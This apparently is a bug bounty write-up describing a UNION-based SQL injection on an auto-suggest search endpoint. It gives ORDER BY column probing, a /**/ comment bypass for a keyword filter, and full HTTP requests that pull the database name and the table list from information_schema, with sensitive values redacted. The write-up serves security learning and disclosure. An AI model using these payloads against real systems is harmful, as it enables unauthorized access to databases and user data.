August 8, 2026
Bypassing Filters to Achieve UNION-Based SQL Injection on a Search Endpoint
Friend Link

By Samet Yiğit
2 min read
https://medium.com/@xelcezeri/0f092ba254ed?source=friends_link&sk=98f412a182f48ae93bce5ff2777a9252
1. Finding the Entry Point
During a recent assessment, I was probing an unauthenticated search feature on a target running an Apache Tomcat backend. The application contained an auto-suggest endpoint (/autosuggest.htm) that processed user queries via a q parameter.
When dealing with auto-complete features, applications frequently construct dynamic SQL queries behind the scenes to fetch matching results in real time — making them a prime target for injection flaws.
http://www.target.com/autosuggest.htm?q=
2. Mapping the Query Structure (ORDER BY)
To test for SQL Injection, my first step was determining whether user input was breaking out of the query context and how many columns were being selected by the original statement.
I began probing with ORDER BY clauses:
q=test' ORDER BY 8-- -returned a standard200 OKresponse with XML results, confirming the query had at least 8 columns.
q=test' ORDER BY 9-- -triggered a500 Internal Server Error(a stack trace from the underlying Spring/Tomcat framework), confirming that the query strictly expected 8 columns.
3. Bypassing String Filters (/**/)
Once the column count was established, I attempted a standard UNION SELECT payload to extract data. However, basic space-delimited keywords were blocked or sanitized by an inline filter.
To bypass this simple token detection, I substituted standard whitespace with inline MySQL comments (/**/ or //). By prepending a non-existent value (-1') to nullify the primary query results, the application was forced to reflect the output of my injected UNION statement.
Extracting the Active Database Name
POST /autosuggest.htm HTTP/1.1
Host: [REDACTED]
Content-Type: application/x-www-form-urlencoded
q=-1'/**/UNION/**/SELECT/**/1,database(),3,4,5,6,7,8-- -POST /autosuggest.htm HTTP/1.1
Host: [REDACTED]
Content-Type: application/x-www-form-urlencoded
q=-1'/**/UNION/**/SELECT/**/1,database(),3,4,5,6,7,8-- -
Response:
<?xml version="1.0" encoding="UTF-8" ?>
<results>
<rs id="1" info="">[REDACTED_DB_NAME]</rs>
</results><?xml version="1.0" encoding="UTF-8" ?>
<results>
<rs id="1" info="">[REDACTED_DB_NAME]</rs>
</results>4. Enumerating the Database Schema
With a working execution vector and filter bypass, I queried the information_schema.tables catalog to dump the table structure:
POST /autosuggest.htm HTTP/1.1
Host: [REDACTED]
Content-Type: application/x-www-form-urlencoded
q=-1'/**/UNION/**/SELECT/**/1,group_concat(table_name),3,4,5,6,7,8/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='[REDACTED_DB_NAME]'-- -POST /autosuggest.htm HTTP/1.1
Host: [REDACTED]
Content-Type: application/x-www-form-urlencoded
q=-1'/**/UNION/**/SELECT/**/1,group_concat(table_name),3,4,5,6,7,8/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='[REDACTED_DB_NAME]'-- -Response:
<?xml version="1.0" encoding="UTF-8" ?>
<results>
<rs id="1" info="">CandidateNames,CountRegistry,Hierarchy,LSID,NCBI,NameMetadata,Publications,Ranks,users</rs>
</results><?xml version="1.0" encoding="UTF-8" ?>
<results>
<rs id="1" info="">CandidateNames,CountRegistry,Hierarchy,LSID,NCBI,NameMetadata,Publications,Ranks,users</rs>
</results>5. Stopping at the Proof of Concept
At this point, full read access to the database was proven. As an ethical researcher, I stopped testing immediately upon confirming table access — ensuring no PII or sensitive user credentials were exfiltrated from the users table.
Even though this report ultimately turned out to be a duplicate, the process itself was worth every second. Overcoming the filter with comments (/**/), mapping the exact column structure, and extracting the schema was an incredibly fun and rewarding technical exercise. In bug bounty, every duplicate is still a valuable addition to your methodology and toolset.
Stay Connected
- X (Twitter): @xelcezeri
- LinkedIn: Samet Yiğit